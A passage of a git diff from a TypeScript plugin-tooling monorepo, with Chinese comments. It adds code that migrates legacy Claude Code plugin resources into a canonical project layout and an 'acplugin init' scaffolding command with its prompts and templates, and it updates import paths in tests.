Diagnostic[] }> { + /** 当前工程累计的资源迁移结论。 */ + const items: MigrationItem[] = []; + /** 新工程最终使用的规范元数据。 */ + const metadata = await metadataFor(scan, options, items); + // 即使旧来源只有未映射资源,也要保留合法的空 src 根以通过最终 Core 空状态校验。 + await fs.mkdir(path.join(outputRoot, 'src'), { recursive: true }); + /** 先整体分配 Skill ID,避免规范化冲突覆盖显式 ID 或依赖扫描顺序。 */ + const skills = allocateMigrationIds(scan.skills.map(skill => ({ + value: skill, + baseId: safeId(skill.dirName), + sourcePath: relative(scan.rootDir, skill.sourcePath), + }))); + /** Command 使用独立 namespace,不与 Skill/Agent 的同名资源冲突。 */ + const commands = allocateMigrationIds(scan.commands.map(command => ({ + value: command, + baseId: safeId(command.name), + sourcePath: relative(scan.rootDir, command.sourcePath), + }))); + /** Agent 使用独立 namespace,并在报告冻结前确定最终 destination。 */ + const agents = allocateMigrationIds(scan.agents.map(agent => ({ + value: agent, + baseId: safeId(agent.fileName), + sourcePath: relative(scan.rootDir, agent.sourcePath), + }))); + /** Skills、Commands 与 Agents 的并行写入任务。 */ + const writes: Promise[] = []; + for (const skill of skills) + writes.push(...migrateSkill(skill.value, skill.id, scan.rootDir, outputRoot, items)); + for (const command of commands) + writes.push(migrateCommand(command.value, command.id, scan.rootDir, outputRoot, items)); + for (const agent of agents) + writes.push(migrateAgent(agent.value, agent.id, scan.rootDir, outputRoot, items)); + await Promise.all(writes); + + for (const [index, instruction] of scan.instructions.entries()) { + /** 当前越界 Instruction 的安全未映射保留路径。 */ + const destination = await unmapped(outputRoot, 'instructions', `${index}-${instruction.fileName}`, instruction.content); + /** Instruction 原文所在的旧工程相对路径。 */ + const source = relative(scan.rootDir, instruction.sourcePath); + items.push(migrationItem({ kind: 'instruction', id: instruction.fileName, source, destination }, [{ + field: 'content', source, destination, outcome: 'unmapped', + reason: 'Instructions are outside the installable plugin boundary.', + }])); + } + + /** 是否至少自动迁移了一个安全远程 MCP,并需要启用官方 Extension。 */ + let usesMcp = false; + /** 同一配置文件中的 MCP key 使用名称补充逻辑来源,确保排序和冲突消歧稳定。 */ + const mcpSourcePath = scan.mcp === null ? undefined : relative(scan.rootDir, scan.mcp?.sourcePath ?? scan.rootDir); + /** MCP 使用自己的 namespace,显式 `foo-2` 不会被重复 `foo` 抢占。 */ + const servers = allocateMigrationIds((scan.mcp?.servers ?? []).map(server => ({ + value: server, + baseId: safeId(server.name), + sourcePath: `${mcpSourcePath ?? '.'}\0${server.name}`, + }))); + for (const allocated of servers) { + /** 当前已完成确定性 ID 分配的 Legacy MCP Server。 */ + const server = allocated.value; + /** 当前 MCP namespace 中唯一的最终 ID。 */ + const id = allocated.id; + /** 满足安全自动迁移条件时生成的类型化描述源码。 */ + const source = remoteMcpSource(server); + /** MCP 字段报告共同使用的旧配置相对路径。 */ + const sourcePath = relative(scan.rootDir, scan.mcp!.sourcePath); + if (source) { + /** 自动迁移的远程 MCP 类型化描述文件路径。 */ + const destination = `src/mcp/${id}/mcp.ts`; + await copyText(path.join(outputRoot, destination), source); + /** 安全远程 MCP 的全部声明字段。 */ + const fields: MigrationFieldDraft[] = []; + reportField(fields, 'name', sourcePath, ID_PATTERN.test(server.name) && server.name === id ? 'mapped' : 'degraded', ID_PATTERN.test(server.name) && server.name === id + ? 'Server key maps directly to the canonical MCP ID.' + : 'Server identity required lowercase kebab-case normalization or a deterministic collision suffix.'); + reportField(fields, 'transport', sourcePath, 'mapped', 'Remote HTTP transport maps to the canonical MCP descriptor.'); + reportField(fields, 'url', sourcePath, 'mapped', 'Credential-free HTTPS URL maps to the canonical MCP descriptor.'); + for (const name of Object.keys(server.headers ?? {}).sort(compareCodeUnits)) { + reportField(fields, `headers.${name}`, sourcePath, 'mapped', name.toLowerCase() === 'authorization' + ? 'Environment-only Authorization maps to canonical bearer auth without reading the secret.' + : 'Environment-only header maps without reading the secret value.'); + } + items.push(migrationItem({ kind: 'mcp', id, source: sourcePath, destination }, fields)); + usesMcp = true; + } else { + /** 无法自动迁移 MCP 的脱敏未映射记录路径。 */ + const destination = await unmapped(outputRoot, 'mcp', `${id}.json`, stableJson({ [server.name]: redactedMcpServer(server) })); + /** 无法自动迁移的 MCP 仍逐个报告实际存在字段,且不复制任何值。 */ + const fields: MigrationFieldDraft[] = []; + reportField(fields, 'name', sourcePath, ID_PATTERN.test(server.name) && server.name === id ? 'mapped' : 'degraded', ID_PATTERN.test(server.name) && server.name === id + ? 'Server key maps to the migration record identity.' + : 'Server identity required lowercase kebab-case normalization or a deterministic collision suffix.'); + for (const field of ['command', 'args', 'type', 'url'] as const) { + if (server[field] !== undefined) { + reportField(fields, field, sourcePath, 'unmapped', 'This MCP field requires a complete canonical implementation or a supported safe remote declaration.'); + } + } + for (const name of Object.keys(server.env ?? {}).sort(compareCodeUnits)) + reportField(fields, `env.${name}`, sourcePath, 'unmapped', 'Local MCP environment mapping is preserved only in the redacted sidecar.'); + for (const name of Object.keys(server.headers ?? {}).sort(compareCodeUnits)) + reportField(fields, `headers.${name}`, sourcePath, 'unmapped', 'Unsafe or literal MCP header is preserved only as a redacted field name.'); + items.push(migrationItem({ kind: 'mcp', id, source: sourcePath, destination }, fields)); + } + } + + if (scan.hooks) { + /** 原始 Hooks 配置的未映射保留路径。 */ + const destination = await unmapped(outputRoot, 'hooks', 'hooks.json', stableJson({ hooks: scan.hooks })); + /** Legacy Scanner 保留的 Hooks 配置精确来源路径。 */ + const source = scan.hooksSourcePath === undefined ? '.' : relative(scan.rootDir, scan.hooksSourcePath); + /** 每个旧事件分别进入字段报告,避免聚合配置掩盖丢失范围。 */ + const fields = Object.keys(scan.hooks).sort(compareCodeUnits).map(event => ({ + field: `event:${event}`, source, destination, outcome: 'unmapped', + reason: 'Raw legacy Hook event requires manual typed handler migration.', + })); + items.push(migrationItem({ kind: 'hooks', id: 'hooks', source, destination }, fields)); + for (const reference of hookReferenceCandidates(scan.hooks)) + await copyHookReference(scan.rootDir, reference, outputRoot, items); + } + + for (const file of scan.pluginFiles) { + /** 当前未分类 Plugin 文件的隔离保留路径。 */ + const destination = await unmapped(outputRoot, 'plugin-files', file.relativePath, file.content); + items.push(migrationItem({ kind: 'plugin-file', id: file.relativePath, source: file.relativePath, destination }, [{ + field: 'content', source: file.relativePath, destination, outcome: 'unmapped', + reason: 'Unclassified plugin files are not published automatically.', + }])); + } + + /** 规范配置入口及按需追加的 Platform/Extension 导入。 */ + const imports = [ + `import { defineConfig } from '@tokenroll/acplugin';`, + `import claudeCode from '@tokenroll/acplugin-platform-claude-code';`, + ]; + if (usesMcp) + imports.push(`import mcp from '@tokenroll/acplugin-extension-mcp';`); + /** 按稳定顺序组成且只包含已知字段的最终配置行。 */ + const configLines = [ + 'export default defineConfig({', + ` name: ${JSON.stringify(metadata.name)},`, + ` version: ${JSON.stringify(metadata.version)},`, + ` description: ${JSON.stringify(metadata.description)},`, + ]; + if (metadata.displayName !== undefined) + configLines.push(` displayName: ${JSON.stringify(metadata.displayName)},`); + if (metadata.author !== undefined) + configLines.push(` author: ${JSON.stringify(metadata.author)},`); + if (metadata.homepage !== undefined) + configLines.push(` homepage: ${JSON.stringify(metadata.homepage)},`); + if (metadata.repository !== undefined) + configLines.push(` repository: ${JSON.stringify(metadata.repository)},`); + if (metadata.license !== undefined) + configLines.push(` license: ${JSON.stringify(metadata.license)},`); + if (metadata.keywords !== undefined) + configLines.push(` keywords: ${JSON.stringify(metadata.keywords)},`); + if (usesMcp) + configLines.push(' extensions: [mcp()],'); + configLines.push(' platforms: [claudeCode()],'); + configLines.push(' build: { strict: false },', '});'); + await copyText(path.join(outputRoot, 'acplugin.config.ts'), `${imports.join('\n')}\n\n${configLines.join('\n')}\n`); + /** 新工程基础开发依赖及按需追加的官方 MCP Extension。 */ + const devDependencies: Record = { + '@tokenroll/acplugin': publicPackageRange('@tokenroll/acplugin'), + '@tokenroll/acplugin-platform-claude-code': publicPackageRange('@tokenroll/acplugin-platform-claude-code'), + 'typescript': '^7.0.2', + '@types/node': '^20.19.0', + }; + if (usesMcp) + devDependencies['@tokenroll/acplugin-extension-mcp'] = publicPackageRange('@tokenroll/acplugin-extension-mcp'); + await copyText(path.join(outputRoot, 'package.json'), stableJson({ + name: metadata.name, + version: metadata.version, + private: true, + type: 'module', + packageManager: 'pnpm@10.34.5', + scripts: { validate: 'acplugin validate', inspect: 'acplugin inspect', build: 'acplugin build', typecheck: 'tsc --noEmit' }, + devDependencies, + })); + await copyText(path.join(outputRoot, 'tsconfig.json'), stableJson({ compilerOptions: { target: 'ES2022', module: 'NodeNext', moduleResolution: 'NodeNext', strict: true, noEmit: true, types: ['node'], skipLibCheck: true }, include: ['acplugin.config.ts', 'src/**/*.ts'] })); + await copyText(path.join(outputRoot, '.gitignore'), 'node_modules\ndist\n.acplugin-migration/unmapped/\n'); + + // 只有正式公开 Pipeline 能证明生成配置与实际 Extension/Platform 契约共同成立。 + return { items, diagnostics: await validateCanonicalProject(outputRoot, usesMcp, metadata) }; +} diff --git a/packages/acplugin/src/migration/writers/shared.ts b/packages/acplugin/src/migration/writers/shared.ts new file mode 100644 index 0000000..e0ae594 --- /dev/null +++ b/packages/acplugin/src/migration/writers/shared.ts @@ -0,0 +1,103 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import matter from 'gray-matter'; +import { compareCodeUnits } from '../ids.js'; +import type { + MigrationFieldDraft, + MigrationFieldOutcome, + MigrationItem, + MigrationOutcome, +} from '../types.js'; + +/** 字段结论从完整保真到无法映射的严重度顺序。 */ +const FIELD_OUTCOME_RANK: Readonly> = { + mapped: 0, + degraded: 1, + unmapped: 2, +}; + +/** 记录一个已发现字段的脱敏迁移结论。 */ +export function reportField( + fields: MigrationFieldDraft[], + field: string, + source: string, + outcome: MigrationFieldOutcome, + reason: string, + destination?: string, +): void { + fields.push({ field, source, outcome, reason, ...(destination === undefined ? {} : { destination }) }); +} + +/** 按字段最差结论创建唯一的资源级迁移记录。 */ +export function migrationItem( + resource: Omit, + fields: readonly MigrationFieldDraft[], +): MigrationItem { + /** 未输出文件的聚合记录统一指向人工可审查的迁移报告。 */ + const destination = resource.destination ?? '.acplugin-migration/report.json'; + /** 字段最差结果决定资源总体,不允许 unmapped 被压低成 degraded。 */ + const worst = fields.reduce( + (current, field) => FIELD_OUTCOME_RANK[field.outcome] > FIELD_OUTCOME_RANK[current] ? field.outcome : current, + 'mapped', + ); + /** 字段 mapped 对应资源 migrated,其余名称在两个协议中一致。 */ + const outcome: MigrationOutcome = worst === 'mapped' ? 'migrated' : worst; + return { + ...resource, + outcome, + fields: Object.freeze(fields.map(field => Object.freeze({ ...field, destination: field.destination ?? destination }))), + }; +} + +/** 判断路径是否可访问。 */ +export async function exists(file: string): Promise { + try { + await fs.access(file); + return true; + } catch { + return false; + } +} + +/** 确保父目录存在后写入迁移文本文件。 */ +export async function copyText(destination: string, content: string): Promise { + await fs.mkdir(path.dirname(destination), { recursive: true }); + await fs.writeFile(destination, content); +} + +/** 为 Migration 自己生成的 Frontmatter 递归固定对象键顺序。 */ +function sortFrontmatter(value: unknown): unknown { + if (Array.isArray(value)) + return value.map(sortFrontmatter); + if (value !== null && typeof value === 'object') { + return Object.fromEntries(Object.entries(value as Record) + .filter(entry => entry[1] !== undefined) + .sort(([left], [right]) => compareCodeUnits(left, right)) + .map(([key, child]) => [key, sortFrontmatter(child)])); + } + return value; +} + +/** 组合确定性 YAML Frontmatter 与规范 Markdown 正文。 */ +export function markdownWithFrontmatter(frontmatter: Record, body: string): string { + return matter.stringify(body.trim(), sortFrontmatter(frontmatter) as Record); +} + +/** 创建父目录后按原始字节复制可信来源文件。 */ +export async function copyBytes(source: string, destination: string): Promise { + await fs.mkdir(path.dirname(destination), { recursive: true }); + await fs.copyFile(source, destination); +} + +/** 把无法安全自动迁移的文本保存在专用未映射目录。 */ +export async function unmapped( + outputRoot: string, + category: string, + filename: string, + content: string, +): Promise { + /** 与可发布源码隔离的未映射目标路径。 */ + const destination = `.acplugin-migration/unmapped/${category}/${filename}`; + await copyText(path.join(outputRoot, destination), content); + return destination; +} diff --git a/packages/acplugin/src/scaffolding/init.ts b/packages/acplugin/src/scaffolding/init.ts new file mode 100644 index 0000000..15f9bd6 --- /dev/null +++ b/packages/acplugin/src/scaffolding/init.ts @@ -0,0 +1,86 @@ +import { spawn } from 'node:child_process'; +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import { + InitError, + resolveInitAnswers, + resolveInitDestination, + type InitOptions, + type InitResult, +} from './prompts.js'; +import { createScaffoldTemplates } from './templates.js'; + +export { InitError } from './prompts.js'; +export type { InitOptions, InitPlatformId, InitResult } from './prompts.js'; + +/** 确认脚手架目标不存在或是空的普通目录。 */ +async function assertDestination(directory: string): Promise { + try { + /** 已存在目标的文件类型和符号链接状态。 */ + const stat = await fs.lstat(directory); + if (!stat.isDirectory() || stat.isSymbolicLink()) + throw new InitError('destination exists and is not a regular directory'); + if ((await fs.readdir(directory)).length > 0) + throw new InitError('destination directory is not empty'); + } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { + if ((error as NodeJS.ErrnoException).code === 'ENOENT') + return; + throw error; + } +} + +/** 在新工程中运行 pnpm install,并把子进程失败转换为布尔结果。 */ +async function installDependencies(directory: string): Promise { + return new Promise((resolve) => { + /** 继承当前终端输入输出的 pnpm 子进程。 */ + const child = spawn('pnpm', ['install'], { cwd: directory, stdio: 'inherit' }); + child.once('error', () => resolve(false)); + child.once('exit', code => resolve(code === 0)); + }); +} + +/** + * 交互式或无交互地创建一个最小、可构建的规范 Plugin 工程。 + * + * @param options 目标目录、元数据、Extension 和依赖安装选项。 + * @returns 创建文件、启用 Extension 与安装状态。 + */ +export async function initializeProject(options: InitOptions): Promise { + /** 目录先独立解析和验证,保持其他交互不会在无效目标上发生。 */ + const destination = await resolveInitDestination(options); + await assertDestination(destination.directory); + /** 所有模板输入都已应用默认值并通过提示层验证。 */ + const answers = await resolveInitAnswers(options, destination.directory); + + /** 默认 Skill 的目录,也是 mkdir 一次创建整个工程树的锚点。 */ + const skillDirectory = path.join(destination.directory, 'src', 'skills', answers.name); + await fs.mkdir(skillDirectory, { recursive: true }); + if (answers.hooks) + await fs.mkdir(path.join(destination.directory, 'src', 'hooks'), { recursive: true }); + if (answers.mcp) + await fs.mkdir(path.join(destination.directory, 'src', 'mcp'), { recursive: true }); + if (answers.nodeRuntime) + await fs.mkdir(path.join(destination.directory, 'src', 'runtime'), { recursive: true }); + + /** 模板模块唯一确定文件顺序和生成字节。 */ + const templates = createScaffoldTemplates(answers); + /** 使用 `wx` 并行写入,既减少脚手架耗时,也避免覆盖并发创建的文件。 */ + await Promise.all(templates.map(template => fs.writeFile( + path.join(destination.directory, ...template.path.split('/')), + template.content, + { flag: 'wx' }, + ))); + + /** 仅在用户显式请求时执行的依赖安装结果。 */ + const installed = options.install ? await installDependencies(destination.directory) : false; + return { + directory: path.relative(destination.cwd, destination.directory) || '.', + files: templates.map(template => template.path), + platforms: answers.platforms, + extensions: [ + ...(answers.hooks ? ['@tokenroll/acplugin-extension-hooks'] : []), + ...(answers.mcp ? ['@tokenroll/acplugin-extension-mcp'] : []), + ], + installed, + }; +} diff --git a/packages/acplugin/src/scaffolding/prompts.ts b/packages/acplugin/src/scaffolding/prompts.ts new file mode 100644 index 0000000..9f07cf4 --- /dev/null +++ b/packages/acplugin/src/scaffolding/prompts.ts @@ -0,0 +1,188 @@ +import path from 'node:path'; +import { checkbox, input } from '@inquirer/prompts'; +import { isInitPlatformId } from './templates.js'; + +/** 控制 `acplugin init` 的交互方式、工程元数据和可选框架能力。 */ +export interface InitOptions { + /** 解析目标目录的工作目录,默认为当前进程目录。 */ + cwd?: string; + /** 新工程目录;显式传入 `.` 可使用当前目录。 */ + directory?: string; + /** 是否跳过交互并接受确定性默认值。 */ + yes?: boolean; + /** 可选的 Plugin 机器名称覆盖。 */ + name?: string; + /** 可选的展示名称覆盖。 */ + displayName?: string; + /** 可选的 Plugin 描述覆盖。 */ + description?: string; + /** 需要显式写入配置的官方 Platform;默认 Claude Code 与 Codex。 */ + platforms?: readonly InitPlatformId[]; + /** 是否在生成配置中启用官方 Hooks Extension。 */ + hooks?: boolean; + /** 是否在生成配置中启用官方 MCP Extension。 */ + mcp?: boolean; + /** 是否生成 Core 内建 Node Runtime 的约定入口模板。 */ + nodeRuntime?: boolean; + /** 是否在脚手架完成后运行 pnpm install。 */ + install?: boolean; +} + +/** 初始化完成后供 CLI 文本或 JSON 输出使用的稳定结果。 */ +export interface InitResult { + /** 相对于 cwd 的新工程目录。 */ + directory: string; + /** 脚手架创建的工程文件路径。 */ + files: readonly string[]; + /** 新工程启用的官方 Platform ID。 */ + platforms: readonly InitPlatformId[]; + /** 新工程启用的官方 Extension 包名。 */ + extensions: readonly string[]; + /** 请求安装依赖时,pnpm 是否成功退出。 */ + installed: boolean; +} + +/** `init` 可以写入脚手架的六个官方 Platform ID。 */ +export type InitPlatformId = 'claude-code' | 'codex' | 'cursor' | 'antigravity' | 'opencode' | 'pi'; + +/** 只承载可安全向 CLI 用户展示的已知脚手架输入错误。 */ +export class InitError extends Error { + /** 稳定标识内部错误类别,但不进入公开 facade。 */ + override readonly name = 'InitError'; +} + +/** 已解析的目标目录,在其他交互提示之前执行物理边界校验。 */ +export interface InitDestination { + readonly cwd: string; + readonly directory: string; +} + +/** 已完成默认值、交互和输入验证的脚手架选择。 */ +export interface InitAnswers { + readonly name: string; + readonly displayName: string; + readonly description: string; + readonly platforms: readonly InitPlatformId[]; + readonly hooks: boolean; + readonly mcp: boolean; + readonly nodeRuntime: boolean; +} + +/** 无交互脚手架默认启用的正式支持 Platform。 */ +const DEFAULT_PLATFORMS: readonly InitPlatformId[] = ['claude-code', 'codex']; + +/** Plugin 名称接受的小写 kebab-case 格式。 */ +const NAME_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; + +/** 从目标目录名称派生合法且稳定的默认 Plugin 名称。 */ +function defaultName(directory: string): string { + return path.basename(directory) + .toLowerCase() + .replace(/[^a-z0-9]+/g, '-') + .replace(/^-|-$/g, '') || 'my-plugin'; +} + +/** 把 kebab-case Plugin 名称转换为默认英文展示名称。 */ +function defaultDisplayName(name: string): string { + return name.split('-').map(part => part.charAt(0).toUpperCase() + part.slice(1)).join(' '); +} + +/** 只解析目录提示,使调用方能在其余交互前验证目标目录。 */ +export async function resolveInitDestination(options: InitOptions): Promise { + /** 解析相对目标目录使用的绝对工作目录。 */ + const cwd = path.resolve(options.cwd ?? process.cwd()); + /** CLI 参数或交互提示提供的原始目录值。 */ + let directoryValue = options.directory; + if (!directoryValue) { + if (options.yes || !process.stdin.isTTY) + throw new InitError('A destination directory is required in non-interactive mode; pass "." explicitly for the current directory.'); + directoryValue = await input({ message: 'Project directory', default: 'my-plugin' }); + } + return Object.freeze({ cwd, directory: path.resolve(cwd, directoryValue) }); +} + +/** 解析并验证目录之后的元数据、Platform 与可选能力提示。 */ +export async function resolveInitAnswers(options: InitOptions, directory: string): Promise { + /** 根据目录名推导的默认机器名称。 */ + const suggestedName = defaultName(directory); + /** 参数、确定性默认值或交互输入得到的最终 Plugin 名称。 */ + const name = options.name ?? (options.yes || !process.stdin.isTTY + ? suggestedName + : await input({ message: 'Plugin name', default: suggestedName })); + if (!NAME_PATTERN.test(name)) + throw new InitError('Plugin name must be lowercase kebab-case.'); + /** 根据机器名称推导的默认展示名称。 */ + const suggestedDisplayName = defaultDisplayName(name); + /** 参数、默认值或交互输入得到的最终展示名称。 */ + const displayName = options.displayName ?? (options.yes || !process.stdin.isTTY + ? suggestedDisplayName + : await input({ message: 'Display name', default: suggestedDisplayName })); + /** 参数、默认值或交互输入得到的 Plugin 描述。 */ + const description = options.description ?? (options.yes || !process.stdin.isTTY + ? `${displayName} plugin.` + : await input({ message: 'Description', default: `${displayName} plugin.` })); + if (description.trim() === '') + throw new InitError('Description must not be empty.'); + + /** 参数、默认值或交互复选提示得到的官方 Platform 列表。 */ + let platforms = options.platforms === undefined ? [...DEFAULT_PLATFORMS] : [...options.platforms]; + if (!options.yes && process.stdin.isTTY && options.platforms === undefined) { + platforms = await checkbox({ + message: 'Platforms', + choices: [ + { name: 'Claude Code', value: 'claude-code', checked: true }, + { name: 'Codex', value: 'codex', checked: true }, + { name: 'Cursor', value: 'cursor' }, + { name: 'Antigravity', value: 'antigravity' }, + { name: 'OpenCode', value: 'opencode' }, + { name: 'Pi', value: 'pi' }, + ], + required: true, + }); + } + if (platforms.length === 0) + throw new InitError('At least one Platform must be selected.'); + /** seenPlatforms 用于拒绝重复工厂,保持配置与报告身份唯一。 */ + const seenPlatforms = new Set(); + for (const platform of platforms) { + if (!isInitPlatformId(platform)) + throw new InitError(`Unknown init Platform "${platform}".`); + if (seenPlatforms.has(platform)) + throw new InitError(`Duplicate init Platform "${platform}".`); + seenPlatforms.add(platform); + } + + /** 新工程是否启用 Hooks Extension。 */ + let hooks = options.hooks ?? false; + /** 新工程是否启用 MCP Extension。 */ + let mcp = options.mcp ?? false; + /** 新工程是否生成 Core 内建 Node Runtime 模板。 */ + let nodeRuntime = options.nodeRuntime ?? false; + if (!options.yes + && process.stdin.isTTY + && options.hooks === undefined + && options.mcp === undefined + && options.nodeRuntime === undefined) { + /** 用户在统一可选能力提示中选择的功能。 */ + const selected = await checkbox({ + message: 'Optional Features', + choices: [ + { name: 'Hooks', value: 'hooks' }, + { name: 'MCP', value: 'mcp' }, + { name: 'Node Runtime', value: 'node-runtime' }, + ], + }); + hooks = selected.includes('hooks'); + mcp = selected.includes('mcp'); + nodeRuntime = selected.includes('node-runtime'); + } + return Object.freeze({ + name, + displayName, + description: description.trim(), + platforms, + hooks, + mcp, + nodeRuntime, + }); +} diff --git a/packages/acplugin/src/scaffolding/templates.ts b/packages/acplugin/src/scaffolding/templates.ts new file mode 100644 index 0000000..dca14f7 --- /dev/null +++ b/packages/acplugin/src/scaffolding/templates.ts @@ -0,0 +1,146 @@ +import { publicPackageRange } from '../ecosystem/versions.js'; +import type { InitPlatformId } from './prompts.js'; + +/** 每个独立版本化官方 Platform 的 package、配置工厂导出名与脚手架依赖范围。 */ +const PLATFORM_PACKAGES: Readonly> = { + 'claude-code': { packageName: '@tokenroll/acplugin-platform-claude-code', factory: 'claudeCode', version: publicPackageRange('@tokenroll/acplugin-platform-claude-code') }, + 'codex': { packageName: '@tokenroll/acplugin-platform-codex', factory: 'codex', version: publicPackageRange('@tokenroll/acplugin-platform-codex') }, + 'cursor': { packageName: '@tokenroll/acplugin-platform-cursor', factory: 'cursor', version: publicPackageRange('@tokenroll/acplugin-platform-cursor') }, + 'antigravity': { packageName: '@tokenroll/acplugin-platform-antigravity', factory: 'antigravity', version: publicPackageRange('@tokenroll/acplugin-platform-antigravity') }, + 'opencode': { packageName: '@tokenroll/acplugin-platform-opencode', factory: 'openCode', version: publicPackageRange('@tokenroll/acplugin-platform-opencode') }, + 'pi': { packageName: '@tokenroll/acplugin-platform-pi', factory: 'pi', version: publicPackageRange('@tokenroll/acplugin-platform-pi') }, +}; + +/** 单个确定性脚手架文件及其工程相对内容。 */ +export interface ScaffoldTemplate { + readonly path: string; + readonly content: string; +} + +/** 模板生成所需的已验证输入。 */ +export interface ScaffoldTemplateOptions { + readonly name: string; + readonly displayName: string; + readonly description: string; + readonly platforms: readonly InitPlatformId[]; + readonly hooks: boolean; + readonly mcp: boolean; + readonly nodeRuntime: boolean; +} + +/** @returns 值是否为脚手架支持的官方 Platform ID。 */ +export function isInitPlatformId(value: string): value is InitPlatformId { + return Object.hasOwn(PLATFORM_PACKAGES, value); +} + +/** 生成使用顶层元数据和可选官方 Extension 的 `acplugin.config.ts`。 */ +function configSource(metadata: ScaffoldTemplateOptions): string { + /** 配置入口以及每个选中 Platform 的独立 package 默认导入。 */ + const imports = [ + `import { defineConfig } from '@tokenroll/acplugin';`, + ...metadata.platforms.map((platform) => { + /** 当前官方 Platform 的 package 名和本地工厂名。 */ + const definition = PLATFORM_PACKAGES[platform]; + return `import ${definition.factory} from '${definition.packageName}';`; + }), + ]; + /** 写入配置 `extensions` 数组的初始化表达式。 */ + const extensions: string[] = []; + if (metadata.hooks) { + imports.push(`import hooks from '@tokenroll/acplugin-extension-hooks';`); + extensions.push('hooks()'); + } + if (metadata.mcp) { + imports.push(`import mcp from '@tokenroll/acplugin-extension-mcp';`); + extensions.push('mcp()'); + } + return `${imports.join('\n')} + +export default defineConfig({ + name: ${JSON.stringify(metadata.name)}, + version: '0.1.0', + description: ${JSON.stringify(metadata.description)}, + displayName: ${JSON.stringify(metadata.displayName)}, + platforms: [${metadata.platforms.map(platform => `${PLATFORM_PACKAGES[platform].factory}()`).join(', ')}],${extensions.length + ? ` + extensions: [${extensions.join(', ')}],` + : ''} +}); +`; +} + +/** 生成仅包含工程开发依赖和标准命令的私有 package.json。 */ +function packageSource(options: ScaffoldTemplateOptions): string { + /** 根据 Extension 选择动态扩展的开发依赖映射。 */ + const devDependencies: Record = { + '@tokenroll/acplugin': publicPackageRange('@tokenroll/acplugin'), + '@types/node': '^20.19.0', + 'typescript': '^7.0.2', + }; + for (const platform of options.platforms) { + /** 官方 Platform 独立发布后由自身元数据决定脚手架依赖范围。 */ + const definition = PLATFORM_PACKAGES[platform]; + devDependencies[definition.packageName] = definition.version; + } + if (options.hooks) + devDependencies['@tokenroll/acplugin-extension-hooks'] = publicPackageRange('@tokenroll/acplugin-extension-hooks'); + if (options.mcp) + devDependencies['@tokenroll/acplugin-extension-mcp'] = publicPackageRange('@tokenroll/acplugin-extension-mcp'); + return `${JSON.stringify({ + name: options.name, + version: '0.1.0', + private: true, + type: 'module', + packageManager: 'pnpm@10.34.5', + engines: { node: '^20.19.0 || ^22.13.0 || >=23.5.0' }, + scripts: { + dev: 'acplugin dev', + validate: 'acplugin validate', + inspect: 'acplugin inspect', + build: 'acplugin build', + typecheck: 'tsc --noEmit', + }, + devDependencies, + }, null, 2)}\n`; +} + +/** @returns 与旧 init 完全相同顺序和字节的全部脚手架模板。 */ +export function createScaffoldTemplates(options: ScaffoldTemplateOptions): readonly ScaffoldTemplate[] { + return Object.freeze([ + Object.freeze({ path: 'acplugin.config.ts', content: configSource(options) }), + Object.freeze({ path: 'package.json', content: packageSource(options) }), + Object.freeze({ + path: 'tsconfig.json', + content: `${JSON.stringify({ + compilerOptions: { + target: 'ES2022', + module: 'NodeNext', + moduleResolution: 'NodeNext', + strict: true, + noEmit: true, + types: ['node'], + skipLibCheck: true, + }, + include: ['acplugin.config.ts', 'src/**/*.ts'], + }, null, 2)}\n`, + }), + Object.freeze({ path: '.gitignore', content: 'node_modules\ndist\n' }), + Object.freeze({ + path: `src/skills/${options.name}/SKILL.md`, + content: `--- +description: Describe when and why to use ${options.displayName}. +--- +Replace this text with the focused workflow ${options.displayName} should perform. +`, + }), + ...(options.nodeRuntime + ? [Object.freeze({ + path: 'src/runtime/main.ts', + content: `import process from 'node:process'; + +process.stdout.write('ACPlugin Node runtime is ready.\\n'); +`, + })] + : []), + ]); +} diff --git a/packages/acplugin/src/sdk.ts b/packages/acplugin/src/sdk.ts index a63aefe..bf82152 100644 --- a/packages/acplugin/src/sdk.ts +++ b/packages/acplugin/src/sdk.ts @@ -1,2 +1,2 @@ // 该 subpath 是 Platform/Extension 的唯一可信集成入口;私有 Core 实现由主包构建内联。 -export * from '@acplugin/core/kernel-sdk'; +export * from '@acplugin/core/integration'; diff --git a/packages/acplugin/test/dev-session.test.ts b/packages/acplugin/test/dev-session.test.ts index 24e3e2b..80405c4 100644 --- a/packages/acplugin/test/dev-session.test.ts +++ b/packages/acplugin/test/dev-session.test.ts @@ -7,8 +7,8 @@ import { definePlatform, type ManagedRolldownPlugin, type SourceFileRef, -} from '@acplugin/core/kernel-sdk'; -import { createProject } from '../src/project.js'; +} from '@acplugin/core/integration'; +import { createProject } from '../src/author/project.js'; /** DevSession 程序化测试统一清理的临时工程根。 */ const roots: string[] = []; @@ -94,7 +94,7 @@ export default { /** @returns 下一次公开 build-complete,并在命中后自动取消订阅。 */ function nextBuildComplete(session: Awaited['dev']>>) { - return new Promise>((resolve) => { + return new Promise>((resolve) => { const unsubscribe = session.subscribe((event) => { if (event.type === 'build-complete') { unsubscribe(); @@ -109,7 +109,7 @@ function nextBuildForChange( session: Awaited['dev']>>, identity: string, ) { - return new Promise>((resolve) => { + return new Promise>((resolve) => { /** 只有明确匹配的 start sequence 才能完成当前等待。 */ const matching = new Set(); const unsubscribe = session.subscribe((event) => { @@ -136,7 +136,7 @@ describe('DevSession API', () => { throw new Error('listener failure'); }); /** 正常 listener 记录完整公开事件序列。 */ - const events: import('@acplugin/core/kernel-author').DevSessionEvent[] = []; + const events: import('@acplugin/core/author').DevSessionEvent[] = []; session.subscribe(event => events.push(event)); await fs.writeFile(path.join(current.root, 'src', 'commands', 'review.md'), [ @@ -276,7 +276,7 @@ export default { /** fixture() 创建的其他工程仅用于取得同一测试 Platform;实际 Session 使用 pendingRoot。 */ const session = await createProject({ cwd: pendingRoot }).dev(); const identity = 'src/pending/future.config.ts'; - const events: import('@acplugin/core/kernel-author').DevSessionEvent[] = []; + const events: import('@acplugin/core/author').DevSessionEvent[] = []; session.subscribe(event => events.push(event)); const rebuilt = nextBuildForChange(session, identity); await fs.writeFile(pending, 'export default true;\n'); diff --git a/packages/acplugin/test/project.test.ts b/packages/acplugin/test/project.test.ts index 0093d13..82b25d7 100644 --- a/packages/acplugin/test/project.test.ts +++ b/packages/acplugin/test/project.test.ts @@ -2,8 +2,8 @@ import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; -import { definePlatform } from 